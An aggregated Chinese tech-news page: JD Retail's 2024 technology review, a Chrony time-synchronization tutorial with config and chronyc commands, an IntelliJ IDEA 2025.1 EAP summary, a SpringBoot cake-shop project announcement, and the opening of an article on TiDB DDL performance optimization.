打开新版京东 APP,可见首页通过创新页面结构和便捷交互综合打造多维心智空间,更高效地满足不同用户差异时空场景下的多样需求及平台战略业务心智养成;同时,我京、消息、商详、搜索等多处也都进行了体验升级。我京拓展出查订单、享权益、找服务、玩互动四大心智,消息中心入口路径更清晰及容纳用户所关心的多维信息更聚合,商详重要购买决策信息一目了然,搜推突出低价、卖点、评价等信息及综合策略升级帮助用户更容易找到好商品,秒送、Plus 和营销频道亦全面升级,努力打造 “又好又便宜” 和简单顺滑激发强心智的产品体验。

数据驱动的库存选品和调拨算法 为超千万订单提供更快的履约时效

京东的供应链能力一直在国际上排名前列,2024 年,京东作为中国唯一的零售企业入选 Gartner 2024 年度全球供应链 25 强。

2024 年,京东零售供应链技术团队继续一骑绝尘,提出并应用数据驱动的库存选品和调拨算法,解决了京东各仓库存平衡和用户快速收货的问题,降低缺货率和履约成本。并在今年 10 月凭借此技术在 INFORMS 年会上荣获运筹与管理学领域的国际顶级奖项 Daniel H. Wagner Prize。

京东全量自营商品,由仓配网络包含八个区域配送中心(RDC)负责存储,每个 RDC 大概存储几百万种商品。为缩短配送时间,每个 RDC 下辖若干规模稍小、更靠近用户的前置配送中心(FDC),主要存储需求量较大的商品,FDC 的存储量级大概在 10 万商品。由于其存储能力有限,如何确定其选品范围,并制定 RDC 到 FDC 的库存调拨策略,对履约效率和客户体验有直接影响。

这种由数据驱动的库存选品和调拨算法,可以通过分析过往订单中商品关联购买情况,结合需求预测,提出高效的选品算法,最大化 211 订单达成率,提升用户体验;全新的端到端调拨算法,将需求预测、迭代优化和仿真模拟等集于一体,直接输出现货率最高、成本最低的调拨方案,同时具有较强解释性,为库存管理过程提供了更清晰、科学的决策支持。目前该技术已上线应用,显著降低了京东各仓的缺货率和履约成本,为超千万订单提供更快的履约时效。 得益于完善的物流基础设施,京东超过 90% 的自营订单可在 24 小时内完成履约。

点击阅读:京东供应链创新与实践:应用数据驱动的库存选品和调拨算法提升履约效率

京点点 AIGC 平台 实现智能化、自动化的营销内容生成

在电商领域,商品图像的质量和效果、商品营销文案的准确程度,都会直接影响消费者的购买决策。这些营销素材的制作会耗费商家很多的成本和精力。为支持商家在专业营销材料方面的内容生成需求,京东零售技术自研了京点点 AIGC 内容生成平台(以下简称 “京点点”),商家只需轻点鼠标,就能免费获得高质量的商品图片、运营文案、短视频等。

京点点的技术创新包括:自研先进的文生图基底,进行海量数据处理和基底训练数据迭代,使模型对商品和销售有深入理解,能在多场景中生成真实合理的图片资产;自研 ReferenceNet 图像模型和 ControlNet 图像模型,生成高度真实且富有创意的图像效果;在营销文案生成上,通过自研多模态商品理解模型,构建商品卖点文案策略知识库,采用 RAG 方案结合商品知识与大语言模型能力,撰写准确且接地气的营销文案;引入强化学习机制,根据用户反馈和京东商品数据,不断优化生成模型的参数和策略,使其生成内容更符合用户需求和市场趋势,提高内容生产质量。

目前,“京点点” 已接入核心商家产品,覆盖 20 多个核心场景, AI 能力单日调用量超 1000 万次, 助力 35 万 + 京东商家一键生成店铺运营所需的各类商品素材,提高内容制作效率,降低制作成本。项目荣获 “InfoQ 2024 中国技术力量年度榜单 - 年度 AI 最佳实践案例 / 方案” 奖。

点击阅读:京点点 AIGC 平台:实现高效、可控、智能的多模态内容生成和优化

技术支持国补专区快速上线 助力 “以旧换新”

2024 年,全国范围内开展以旧换新补贴大型活动,各省市地方政府制定优惠补贴、补贴核销、企业对接等模式。京东积极响应国家号召,全力投入国家补贴领取与发放工作。

京东零售产研团队凭借数十年在电商领域的扎实经验,快速搭建国补资格平台,抽象可复用对接模式,提高各城市的对接效率。在京东核心链路上,各业务可通过配置化来应对城市间差异,基于低代码平台的标准化国补模型,仅需几分钟即可完成同类型城市的平台上线,更好地支持国补业务的快速发展。基于京东多年的 AI + 风控策略,对用户行为深层次建模,精细化管控真人与风险用户,有效实现防囤货、防套利、防黄牛,自动拦截超 99% 的黄牛用户,风险用户比例低于 0.5% ,把补贴给到真实的消费者。

目前,京东国家补贴支持下单购新立减、以旧换新立减、支付立减、消费券等多种补贴形式,在京东多端上为用户提供 “又好又便宜” 购物体验。

数据湖架构创新 助力数据资产实时化转型

互联网行业的不断演进对数据、算力、算法提出更高要求,如何以较低成本获取强实时性、高质量的数据逐渐成为核心挑战。作为技术演进的关键成果,数据湖正在各大技术厂商中得到广泛实施。在京东集团内部,数据湖技术也在迅速迭代,为业务数据实时化转型提供强有力的支持。

京东数据湖选型 Apache Hudi,结合京东业务模式,聚焦 IO 性能、特性丰富度、生态等开展大量自研:包括解决流量高并发写入性能及稳定性的多模 IO 能力、支持性能线性扩展及历史数据回溯的跨计算引擎无锁并发写入能力等,实现多项内核特性领先开源社区。目前京东数据湖入湖存储规模 160PB,向 Hudi 社区贡献 PR 数 65+,入湖规模及技术影响力均跻身行业第一梯队。

团队协同数据资产与应用部,2024 年实现京东千亿规模流量数据资产入湖改造,数据时效由 T+1 提升至分钟级时延,并实现 1200W+/ 年的存储计算成本节降,在 11.11 大促流量曝光显著增长的情况下实现晚 8 峰值无延迟。新版流量准实时资产助力站外付费渠道投放效果,提供更及时、高效、精细化的运营信息流渠道,为大促冲量实时调控运营策略提供数据支撑,订单转化率较同比有效提升,渠道流量首访成本明显降低。

点击阅读:数据与计算新阵地:京东数据湖架构创新之旅

京东商家智能助手 提供 7*24 小时的经营代理服务

京东商家智能助手旨在解决电商商家在经营过程中面临的多方面问题,包括应对平台传递的各类信息,辅助商家了解店铺经营状况等。商家只需使用他们最熟悉的自然语言,与京麦平台的商家智能助手进行沟通,即可获得 7*24 小时的经营代理服务,最快 1 秒内就可响应。无论是查询经营规则还是执行快捷功能操作,只需简单对话即可实现,让商家经营变得更加轻松便捷。

商家助手的算法底座是基于大语言模型(LLM)构建的 Multi-agent 系统,模拟现实中电商商家团队的经营协作方式。通过多智能体动态规划及协同技术,结合 LLM、逆向规划实现智能化动态规划能力,来解决商家在电商运营中的复杂决策问题,覆盖从商品发布、订单管理、客服沟通到数据分析的全流程,并为商家提供如销量预测,营销投放,定价,商机词推荐等经营功能。

目前,商家智能助手采用的多智能体协同的技术,决策准确率达 90% 以上,商家单个系统操作时效快至秒级,助力商家打造 “更快运营、更好服务、更省成本” 的开店体验。

点击阅读:商家智能助手:多智能体在电商垂域的技术探索

Taro on Harmony 一份代码跨多端适配

纯血鸿蒙逐渐成为全球第三大操作系统,京东作为国民应用,很早就积极拥抱鸿蒙生态、持续引领电商行业的创新风向。京东零售端技术团队建设了一套开放式跨端跨框架解决方案 Taro,致力于解决小程序、H5、React Native 的跨端同构问题,开源数达到 35700+。针对纯血鸿蒙,京东零售端技术团队进一步推出了 Taro on Harmony 解决方案,帮助京东 APP 低成本、快速实现鸿蒙化。

目前,Taro on Harmony 方案在性能和开发效率上获得广泛好评,同时也是华为推荐给合作伙伴的首选技术方案。2024 年,Taro 助力了京东鸿蒙 APP 的顺利上线,京东 APP 的核心业务均采用 Taro 开发,性能和稳定性位于第一梯队。

Taro 鸿蒙方案支持开发者使用 React DSL 来快速开发高性能原生鸿蒙应用,让 Taro 具备了一份代码同时跨鸿蒙、小程序、H5、React Native 多端的能力,同时 Taro 支持类 Web 的开发范式,可以让开发者以熟悉的方式来开发鸿蒙应用,大幅降低鸿蒙开发门槛,并且存量的 Taro 业务也能快速转成鸿蒙原生应用,节约大量研发成本。

该方案基于鸿蒙 CAPI 进行构建,实现了将 React DSL 直接对接到 C++ 侧来运行整体渲染管线,从而实现了与原生齐平的渲染性能,在应用渲染性能、操作响应时延上都做到业界极致。

京东广告创意 实现高质量创意生成和千人千面的创意推荐

优秀的广告创意不仅能够增强信息传递的效果,还可以提高用户的点击和转化率。2023 年广告团队利用 AIGC 技术显著提升了创意内容的多样性。然而随着多样性的提升,质量欠佳的素材限制了智能创意的覆盖率,海量创意如何匹配用户的问题更加凸显。2024 年广告团队在创意生成和优选方面进行了技术突破,实现了高质量广告创意的自动生成和千人千面的创意推荐效果。

创意生成方面,广告团队提出了一种提高生成图片可用率的方法,通过多模态可靠反馈模型模拟人类审核图片,并利用该模型的反馈显著提升生成图片的可用率,同时保持了视觉吸引力。团队还发布了业界首个人工标注生成广告图片的 RF1M 数据集,用于帮助模型更真实地反映人类反馈。创意优选方面,广告团队利用多模态大语言模型提取创意的表征信息,提升优选模型对创意的区分能力和冷启效果。同时将创意优选任务拆分为元素选择和组合选择两个阶段,使得优选模型能够应对更丰富的创意素材。

以上技术突破成功解决了现有 AIGC 图片可用率低的问题,提升了 AIGC 素材的覆盖率;并有效缓解了数据稀疏和海量创意接入带来的组合爆炸问题,实现了线上创意和用户的精准推荐。相关创新成果已在 AAAI,ECCV,IJCV 等顶会上发表多篇论文。

点击阅读:京东零售广告创意:基于人类反馈的可信赖图像生成

京言智能导购助手 探索更简单的购物体验

除了搜索推荐,未来的电商购物还能有什么形态?京东自研京言智能导购助手,基于大模型的交互式应用,通过主动服务和多轮对话能力,为用户提供全面的产品信息和专业建议,降低了查找和选择商品的成本。用户可直接在京东 APP 搜索 “京东京言”,或在搜索结果页,点击京言图标进入对话,就能感受便捷、愉悦的购物新体验。

京东京言通过整合用户行为数据和电商数据,构建强大的电商大模型,应用 Prompt、SFT、DPO 和 PPO 等技术,并结合蒸馏技术,确保高效性和精准性。在模型训练过程中,采用对齐学习和多阶段持续预训练,结合文本和多模态大模型,利用 NPU 和 GPU 平台提供的计算能力,确保高性能和可扩展性。此外,京言集成电商知识图谱和 Web 搜索功能,通过 RAG 技术将丰富信息转化为购物建议。这一综合技术架构使京言在京东 App、PC 端和小程序中提供高效搜索、商品比较和评论总结,用户可以通过比较确认商品的特点,进一步细化需求。

目前京言智能导购助手累计用户数已超过 5000 万,用户体验满意度显著提升。项目荣获机器之心 - 2024 最佳大模型产品及应用 TOP20。

点击阅读:京言智能助手技术应用与展望

京东.Vision&“立影计划” 裸眼 3D 方案 为用户打造好玩、好逛、好买的沉浸式购物体验

2024 年,京东零售技术在提升用户体验方面持续深耕。经过多年积累,京东零售创新内容产研团队已经沉淀上线了 AR 试穿戴、VR 场景购等一系列 XR 技术能力。2024 年 6 月推出 “京东.Vision”,成为国内行业首个可实现交易的 Apple Vision Pro 应用。通过空间计算系统、环境感知、眼动追踪、手势互动等多项技术创新,实现商品在现实环境中的摆放、碰撞和吸附效果,让用户可以将心仪的产品 1:1 等比例 “拖拽” 到家中,直接看到每件物品的在现实空间中的呈现效果,真正享受 “所见即所得” 的购物体验。

在此基础上,团队进一步推出全球首个裸眼 3D 商品营销方案 ——“立影计划”。该技术引入了移轴渲染,增强 3D 展示的立体效果,创造出逼真的立体视差。同时,结合深度剔除技术,在 APP 层面实现了 “破窗” 展示方式,进一步增强了空间感和表现力。用户打开京东 APP,就能看到扑面而来、360 度全方位展现商品的立体视觉,仿佛在手机空间里搭建了一个三维立体橱窗,享受好玩、好逛、好买的沉浸式购物体验。

点击阅读:京东.Vision 首登苹果 Vision Pro 背后的技术探索

点击阅读:全球首家!京东发布 “立影计划” 裸眼 3D 商品营销方案

基于国产芯片的 AI 引擎技术 打造更安全的算力生态

近年来,随着国产 AI 芯片的日益崛起,基于国产 AI 芯片的模型适配、性能优化以及应用落地是国产 AI 应用的一道重要关卡。如何在复杂的京东零售业务场景下更好地使用国产 AI 芯片,并保障算力安全,是目前亟需解决的问题。对此,京东零售九数算法中台打造了一套兼容 NVDIA GPU 与国产 NPU 的端到端 AI 引擎技术,建立起从底层硬件集群、算法引擎、到多场景应用的生态架构。

九数算法中台基于高性能计算网络搭建千卡规模集群,支持国产 NPU 与 GPU 相同的调度能力,内部研发能无感知地灵活调度国产 NPU 与 GPU。九数高性能训练 + 推理引擎采用统一的 API 接口,涵盖业界主流通用模型,支持内部研发 0 成本快速进行模型训练与部署。同时,九数算法中台通过 MFU 优化、模型量化、编译优化等方式,显著提升引擎性能。

目前,京东零售基于国产芯片的 AI 引擎技术已在多个业务场景落地,满足高速增长的数智化业务需求。(作者:京东零售技术)

by 来源: OSCHINA at January 16, 2025 09:01 AM

juejin freebie

Chrony:让你的服务器时间精准到微秒级的神器!

在现代计算机系统中,时间同步是至关重要的。无论是分布式系统、数据库集群,还是日志记录,时间不一致都可能导致严重的问题。而 Chrony,作为一款高性能的时间同步工具,正在成为越来越多系统管理员的首选。它不仅比传统的 ntpd 更快、更精准,还能在网络不稳定的情况下保持出色的表现。今天,我们就来深入探讨 Chrony 的强大功能,以及如何用它来让你的服务器时间精准到微秒级!


为什么需要 Chrony?

在分布式系统中,时间同步的重要性不言而喻。如果服务器之间的时间不一致,可能会导致以下问题:

  • 日志时间错乱,难以排查问题。
  • 数据库事务冲突,数据一致性被破坏。
  • 分布式锁失效,系统出现不可预知的错误。

而 Chrony 正是为了解决这些问题而生的。它通过以下特性脱颖而出:

  • 快速同步:在网络条件良好的情况下,Chrony 可以在几秒内完成时间同步。
  • 高精度:支持微秒级的时间同步,满足高精度需求。
  • 适应性强:即使在网络波动或高延迟的环境中,Chrony 也能保持稳定同步。
  • 低资源占用:适合资源受限的设备,如嵌入式系统或虚拟机。

Chrony 的核心优势

1. 比 ntpd 更快、更精准

Chrony 的设计目标之一就是比传统的 ntpd 更快地完成时间同步。它通过智能算法和 iburst 选项,在初始同步时发送多个请求,从而大幅缩短同步时间。

2. 适应网络波动

如果你的服务器位于网络不稳定的环境中(比如云服务器或移动设备),Chrony 的表现会更加出色。它能够动态调整同步策略,减少网络波动对时间同步的影响。

3. 支持离线模式

即使在没有网络连接的情况下,Chrony 也能依靠本地时钟的漂移率来保持时间的准确性。这对于需要离线运行的系统来说非常实用。

4. 低资源占用

Chrony 的资源占用非常低,适合在嵌入式设备或虚拟机中运行。它不会对系统性能造成明显影响。


如何配置 Chrony?

Chrony 的配置文件通常位于 /etc/chrony.conf,以下是一个简单的配置示例:

# 使用阿里云的NTP服务器作为时间源
# `iburst` 选项表示在初始同步时发送多个请求,加快同步速度
server ntp.aliyun.com iburst
server ntp1.aliyun.com iburst

# 使用本地时钟作为备用时间源
# `stratum 10` 表示本地时钟的层级为10(层级越高,优先级越低)
local stratum 10

# 允许192.168.1.0/24网段的主机访问chrony服务
# 可以用于允许内网设备同步时间
allow 192.168.1.0/24

# 拒绝所有其他主机访问chrony服务
# 这是一个安全措施,确保只有允许的网段可以访问
deny all

# 启用RTC(硬件时钟)同步
# 这会将系统时间同步到硬件时钟,确保重启后时间仍然准确
rtcsync

# 设置时间步进调整
# 如果时间偏差超过1.0秒,chrony会立即调整时间
# 在前3次调整中允许步进调整
makestep 1.0 3

# 指定时钟漂移文件的路径
# 该文件用于记录系统时钟的漂移率,帮助chrony更准确地调整时间
driftfile /var/lib/chrony/drift

# 指定日志文件的存储目录
# chrony会将日志文件(如measurements.log、statistics.log等)存储在此目录
logdir /var/log/chrony

# 配置日志记录行为
# `measurements`:记录时间测量的日志
# `statistics`:记录统计信息的日志
# `tracking`:记录时间跟踪信息的日志
log measurements statistics tracking

# 指定NTP认证密钥文件的路径
# 如果需要使用NTP认证功能,可以在此指定密钥文件
keyfile /etc/chrony.keys

# 允许本地主机通过chronyc命令行工具管理chrony
# 这是一个安全措施,确保只有本地用户可以管理chrony
cmdallow 127.0.0.1

# 设置NTP服务器的轮询间隔
# `minpoll 6` 表示最小轮询间隔为2^6=64秒
# `maxpoll 8` 表示最大轮询间隔为2^8=256秒
server ntp2.aliyun.com minpoll 6 maxpoll 8

# 设置NTP服务器的优先级
# `prefer` 表示优先使用该服务器
server ntp3.aliyun.com prefer

配置完成后,启动 Chrony 服务:

sudo systemctl start chronyd
sudo systemctl enable chronyd

Chrony 的常用命令

Chrony 提供了一个强大的命令行工具 chronyc,用于监控和管理时间同步。以下是一些常用命令:

1. 查看时间服务器状态

chronyc sources -v
  • 显示当前配置的时间服务器及其状态。
  • ^* 表示当前正在使用的服务器。
  • ^+ 表示可用的备用服务器。

示例输出:

MS Name/IP address         Stratum Poll Reach LastRx Last sample
===============================================================================
^* ntp.aliyun.com                2   6   377    46    +12us[-123us] +/-   23ms
^+ ntp1.aliyun.com               2   6   377    45    -10us[-145us] +/-   25ms

2. 查看同步状态

chronyc tracking
  • 显示当前系统的时钟同步状态,包括时间偏差、频率偏移等。

示例输出:

Reference ID    : 123.456.789.101 (ntp.aliyun.com)
Stratum         : 3
Ref time (UTC)  : Tue Jan 16 12:34:56 2025
System time     : 0.000123 seconds slow of NTP time
Last offset     : +0.000045 seconds
RMS offset      : 0.000012 seconds
Frequency       : 1.234 ppm slow
Residual freq   : +0.001 ppm
Skew            : 0.012 ppm
Root delay      : 0.023456 seconds
Root dispersion : 0.001234 seconds
Update interval : 64.2 seconds
Leap status     : Normal

3. 手动同步时间

chronyc makestep
  • 强制立即同步系统时间,适用于时间偏差较大的情况。

4. 检查客户端访问

chronyc clients
  • 显示当前连接到 Chrony 的客户端信息。

示例输出:

Hostname                      NTP   Drop Int IntL Last
===============================================================================
192.168.1.100                 2      0   6   -    45
192.168.1.101                 2      0   6   -    50

5. 查看时间服务器的详细信息

chronyc sourcestats -v
  • 显示时间服务器的统计信息,包括延迟、偏差等。

示例输出:

Name/IP Address            NP  NR  Span  Frequency  Freq Skew  Offset  Std Dev
===============================================================================
ntp.aliyun.com             12   7   100     +0.001      0.012    +45us    12us
ntp1.aliyun.com            10   6   100     -0.002      0.015    -30us    15us

6. 添加或删除时间服务器

  • 添加时间服务器:
    chronyc add server ntp2.aliyun.com
    
  • 删除时间服务器:
    chronyc delete ntp2.aliyun.com
    

7. 检查 Chrony 的活动状态

chronyc activity
  • 显示当前 Chrony 的活动状态,包括正在使用的服务器数量。

示例输出:

200 OK
4 sources online
0 sources offline
0 sources doing burst (return to online)
0 sources doing burst (return to offline)
0 sources with unknown address

8. 手动调整时间

chronyc settime "2025-1-16 12:34:56"
  • 手动设置系统时间(需谨慎使用)。

9. 检查 Chrony 的版本

chronyc -v
  • 显示 Chrony 的版本信息。

10. 重启 Chrony 服务

sudo systemctl restart chronyd
  • 重启 Chrony 服务以应用配置更改。

Chrony vs. ntpd:谁更适合你?

特性Chronyntpd
同步速度更快较慢
网络适应性适应网络波动对网络稳定性要求较高
资源占用较高
配置复杂度简单较复杂
离线模式支持支持不支持

如果你的系统需要快速、精准的时间同步,并且可能面临网络不稳定的情况,那么 Chrony 无疑是更好的选择。


总结

Chrony 是一款强大而灵活的时间同步工具,能够为你的服务器提供高精度的时间同步服务。无论是数据中心、云服务器,还是嵌入式设备,Chrony 都能轻松应对。通过简单的配置和管理,你可以让系统时间精准到微秒级,彻底告别时间不一致带来的烦恼!

如果你还没有尝试过 Chrony,现在就动手安装吧!相信它会成为你系统管理工具箱中的又一利器。

by ydswin at January 16, 2025 08:27 AM

oschina news project

IntelliJ IDEA 2025.1 EAP 发布

IntelliJ IDEA 2025.1 EAP 现已正式发布,具体更新内容包括:

早期 Java 24 支持

为即将推出的 Java 24 提供部分支持。只需将 SDK 设置为 Oracle OpenJDK 24,然后在 Project Structure | Project Settings | Project 中相应地调整语言级别即可。

 

更快地创建 Spring bean

从此 EAP 开始,用户将可以直接从“New…”或“Generate…”菜单创建 Spring bean。无需创建空类并手动注释 - 只需选择选项,即可开始。

 

支持 Gradle Daemon toolchains

从 Gradle 8.13 开始可以使用原生 Gradle 工具链为 Gradle Daemon 定义精确的 JVM 。以前,这仅适用于项目本身。通过此更改,IDE 可以与 Gradle 的配置同步,甚至允许 Gradle 在需要时自动下载所需的 JVM。

 

在 Debugger 工具窗口中更轻松地自定义工具栏

现在可以根据自己的工作流程定制工具栏。在顶部窗格中的 kebab 菜单旁边单击鼠标右键,然后选择“Add to Debugger Toolbar”。

内联提示中的文本弹出窗口

在调试和检查包含 marked-up text 的值时,现在可以以适当的格式来查看。例如,如果该值是解析器的 XML 输入,它将以结构化、可读的格式显示。以前,此功能仅适用于 watches。现在已将相同功能扩展到内联调试,以确保两个视图之间的一致性。

详情可查看官方博客

by 来源: OSCHINA at January 16, 2025 06:37 AM

蛋糕商城 SpringBoot 3.4.0,JPA

蛋糕商城SpringBoot3.4.0,JPA

蛋糕商城是一个在大学生学习者中流行的JSP开源项目。由于原作者并未签名,所以原作者未知。我使用Java通用代码生成器光,电音之王尝鲜版十一彻底增强了蛋糕商城,现在,升级后的蛋糕商城已经是一个SpringBoot3.4.0,JPA的应用程序。赶上了技术列车。

介绍视频请见:https://www.bilibili.com/video/BV1eic6eeEzs/

蛋糕商城虽说比较简单,但是界面比较美观,核心业务表述清晰,是一款比较优秀的开源例程。在大学生中非常流行。大家把它改造成形形色色的系统。

蛋糕商城的JPA版本继承了蛋糕商城的这些特性。它的界面,保留了蛋糕商城的原貌,后台只有少量修改,新增了Java通用代码生成器光生成的集成后台,提供了增强功能,欢迎大家使用。

蛋糕商城的JPA版本的项目地址:https://gitee.com/jerryshensjf/CookieShop

蛋糕商城

介绍

蛋糕商城SpringBoot3.4.0, JPA版本。 基于开源软件蛋糕商城,升级至SpringBoot3.4.0,JPA,Jakarta Servlet,JSP,JSTL。采用MariaDB数据库。仍然使用原有JSP界面,有Java通用代码生成器光生成的后台界面。

截屏

输入图片说明

输入图片说明

输入图片说明

输入图片说明

输入图片说明

输入图片说明

数据库初始化清注意

可以使用sql文件夹下的数据库脚本建库建表。蛋糕的图片在resources/static/picture文件夹下面。admin的密码是admin,其他密码可以使用admin修改。

您只需要使用Sql文件夹下的sql脚本恢复数据库,图片放在picture文件夹下,商品和图片的关系请参考excelTemplate文件夹下的Cookieshop_org.xls即可。

注意,商品如果没有设置cover图片,就会自动过滤掉,不会显示出来。

软件架构

软件架构说明

SpringBoot3.4.0,JPA,Jakarta Servlet,JSP,JSTL。采用MariaDB数据库。仍然使用原有JSP界面,有Java通用代码生成器光生成的后台界面。

by 来源: 投稿 at January 16, 2025 05:13 AM

juejin article

狂飙 50 倍丨TiDB DDL 框架优化深度解析

导读

在多租户大规模部署场景下,传统单机数据库的管理复杂性问题仍困扰着用户。

在 TiDB v6-v7 版本中,我们成功将 TiDB DDL 创建索引的性能提升了 10 倍 ,为用户带来了显著的体验改善。在 TiDB v8 版本中,我们对 TiDB DDL 语句执行流程进行了进一步的优化和重构,显著提升了框架的可扩展性和语句的执行效率, 为未来实现 TiDB DDL 的真正分布式执行奠定了坚实基础。

本系列文章将从 原理解析、技术实现和应用实践 等角度 深入解析 TiDB DDL 框架如何提升系统的可扩展性,建表速度 50 倍提升(对比 TiDB v7.5),实现百万级别表的管理 。本文为系列文章的第一篇,将介绍 DDL 框架优化的效果和思路。


元数据 :用来定义并指导数据库系统如何解析与处理用户存在数据库中数据的数据。 General DDL 语句 :这类 DDL 语句的完成,只涉及元数据修改即可。 Reorg DDL 语句 :这类需要处理用户实际数据的 DDL 语句。

50 倍性能提升

TiDB 在线 DDL 变更功能曾有效缓解了用户在数据库使用和演进过程中的痛点。然而,随着用户规模和数据量的不断增长,创建索引的性能瓶颈日益凸显。我们通过优化索引构建流程,将索引创建速度提升了 10 倍。随后,我们将索引创建任务迁移至分布式框架,进一步提升了大表索引的构建效率。

随着 SaaS 用户对 TiDB 的深入应用,百万级表的场景对 DDL 框架提出了更高要求。一方面,我们需要显著提升框架的吞吐量,以在有限时间内完成大量 DDL 操作;另一方面,需要保证框架在高并发、高负载下的稳定性与扩展性。为此,我们在过去半年里,重点优化了框架的扩展性,提升了 DDL 语句的执行效率。以下为部分测试结果:

1. TiDB v8.2

通过对比 TiDB v8.1 和 v8.2 的 DDL 任务执行 QPS,我们可以清晰地看到,v8.2 版本的性能得到了大幅提升。在 v8.1 中,DDL 任务的平均 QPS 约为 7,而 v8.2 则达到了 38,峰值更是达到了 80,性能提升了约 5 倍。这表明,TiDB 团队在 v8.2 版本中对 DDL 语句的执行效率进行了深入优化,取得了显著成效。

TiDB v8.2

2. TiDB v8.3

与 v8.2 版本相比,TiDB v8.3 在 DDL 任务执行的 QPS 上实现了大幅提升。v8.3 的最大 QPS 达到 200 左右,平均 QPS 也提升至 180 左右,性能表现更加稳定。这表明 TiDB 团队在 v8.3 版本中对 DDL 语句的执行效率进行了持续优化,并取得了令人瞩目的成果。 TiDB v8.3

启用 Fast Create Table 优化后,DDL 操作的每秒查询次数(QPS)可提升一倍,显著提高系统的整体吞吐量。

3. TiDB v8.5

为了全面评估 TiDB v8.5 版本中 DDL 性能的优化效果,我们在实验室搭建了一个专用的测试集群。该集群的硬件配置如下:

集群的硬件配置

测试结果如下:

测试结果

在百万张表场景下, TiDB v8.5 版本的建表速度相比 v7.5 版本实现了 50 倍的性能提升。

TiDB DDL 运行原理

在深入探讨 TiDB DDL 优化之前,我们先来了解一下 TiDB DDL 语句的执行过程。 TiDB 作为一款支持在线 DDL 的分布式数据库,其 DDL 操作能够在不影响业务的情况下进行。 我们将重点介绍在线 DDL 变更的执行流程,包括 SQL 解析、Job 创建、后台执行等环节,为后续的优化讲解打下基础。

1 DDL 语句任务运行流程

TiDB DDL 执行流程

TiDB DDL 执行流程

当用户通过客户端向 TiDB 提交一条 CREATE TABLE 语句时,TiDB 会依次执行以下步骤:

  1. SQL 解析 :TiDB 的 SQL 解析器会对该语句进行解析,生成相应的执行计划
  2. 任务创建 :系统会为该 DDL 操作创建一个新的任务,并将任务信息添加到 DDL 任务队列中。
  3. 任务调度 :DDL Owner 会从任务队列中取出待执行的任务,并交由调度器进行分配。
  4. 作业执行 :调度器会为该任务分配一个 Job Worker,每个 Worker 负责执行一个任务。对于 reorg DDL 类型的任务,通常需要多个 Worker 并行处理。
  5. 状态更新 :各个 Worker 会将执行状态反馈给系统,系统会实时更新任务的状态。
  6. 结果返回 :一旦任务执行完成,系统会将执行结果先返回给接收 DDL 任务的 TiDB 节点
  7. 结果返回 :再由 TiDB 节点将任务执行结果返回给客户端。

2 在线 Schema 变更简介

前面我们介绍了 TiDB DDL 任务的整体执行流程。接下来,让我们聚焦到在线 Schema 变更的细节上。当一个 Job Worker 接收到一个在线 DDL 任务时,它会按照以下步骤逐步完成任务:

  • 执行单步变更 :Job Worker 会根据任务定义,执行一次在线 Schema 的变更。每一次变更都代表着 Schema 向目标状态迈进了一步,即进入下一个状态,可能的状态包括 write-only 和 delete-only 等。
  • 状态更新 :完成单步变更后,Job Worker 会将当前的 Schema 状态更新到元数据中。

为了保证 schema 变更的正确性,online-schema 算法维持了以下的不变性:在任何时间,针对某个 schema 对象,整个集群中最多只有两个相连的状态存在。因此在执行完单步变更后,Job worker 需要等待系统中的所有 TiDB 节点都推进到改动后的状态,然后才能执行下一步,直到 Schema 达到最终的目标状态。

在线 Schema 变更

因此,在线 Schema 变更会循环执行以下几个步骤:

  1. 推进变更状态 :Job Worker 会根据任务定义,将 Schema 向目标状态推进一步。这相当于为 Schema 的演进打了一个补丁。
  2. 通知 PD :变更完成后,Job Worker 会立即通知 PD(Placement Driver),告知其 Schema 版本已更新。PD 作为 TiDB 集群的“大脑”,负责协调各 TiDB 节点的状态。
  3. 触发 TiDB 节点更新 :PD 会通过 ETCD 的 Watch 机制,实时监控 Schema 版本的变化。一旦检测到版本更新,PD 会立即通知所有注册到 PD 上的 TiDB 节点,要求它们更新本地 Schema 信息。这就像广播通知一样,确保所有 TiDB 节点都保持一致的 Schema 信息。
  4. MDL 检查 :TiDB 节点接收到更新通知后,会加载对应的 schema 变更,之后会触发 MDL(Metadata Locking)机制进行检查。MDL 就像一把锁,确保在 Schema 变更过程中,不会有其他操作同时修改 Schema,从而避免数据不一致。
  5. 反馈执行结果 :MDL 检查通过后,TiDB 节点会将检查结果反馈给 PD,确认 Schema 更新已生效。
  6. 等待所有节点同步 :Job Worker 会等待所有节点都确认 schema 更新已生效,即保证上面的不变性,之后 Job Worker 会继续处理该 Job 后续的变更任务。

思考问题:

  • 为什么需要 PD 参与? PD 作为集群的协调者,负责通知各个 TiDB 节点更新 Schema 信息,确保集群的一致性。
  • ETCD 在这个过程中扮演了什么角色? ETCD 作为分布式键值存储,存储了 TiDB 集群的元数据信息,包括 Schema 版本。PD 通过观察 ETCD 中的 Schema 版本变化来触发节点更新。
  • MDL 机制为什么重要? MDL 机制保证了在 Schema 变更过程中,不会有多个操作同时修改 Schema,从而避免数据不一致。你可以想象成在修改一个文档时,需要先锁定文档,防止其他人同时修改。

通过以上步骤,TiDB 能够安全、高效地执行在线 Schema 变更,保证业务的连续性。

工程与最佳实践探索

1 工程思考

DDL 里程碑

图:DDL 里程碑

如上图所示,我们针对 General DDL 类型的优化制定了一条清晰的路线图。考虑到 TiDB DDL 执行框架经过多年的迭代已相对稳定,为确保优化过程的安全性和高效性,我们在优化之初确立了以下几条原则:

  • 客户需求驱动 :以客户需求为导向,每次优化都聚焦于解决最迫切的问题,避免大范围的重构。这种方式能有效保证优化质量,并快速交付给客户,提升客户满意度。
  • 小步快跑 :将大型优化任务拆分成一系列小型的、可独立交付的子任务。这种方式不仅降低了开发难度,也便于快速验证优化效果,更符合敏捷开发的理念。
  • 最小化影响 :每个子任务的设计都应尽量减少对现有系统的干扰,同时为后续的优化打下基础。

实践证明,这些原则在 DDL 优化项目中取得了良好的效果。我们成功将一个复杂的优化任务分解为多个可管理的子任务,并通过持续迭代的方式,逐步提升了 DDL 执行性能。

具体来说,我们通过以下方式来实现这些原则:

  • 需求细分 :针对客户提出的 DDL 优化需求,我们进行深入分析,将其拆分为一系列具体的优化点。
  • 独立子任务 :每个优化点都对应一个独立的子任务,并制定详细的开发计划和测试用例。
  • 持续迭代 :每个子任务完成后,都会进行充分的测试和验证,并快速交付给客户。

在接下来的章节中,我们将详细分享我们在 DDL 优化过程中遇到的挑战、采用的解决方案以及取得的成果。

2 优化路线

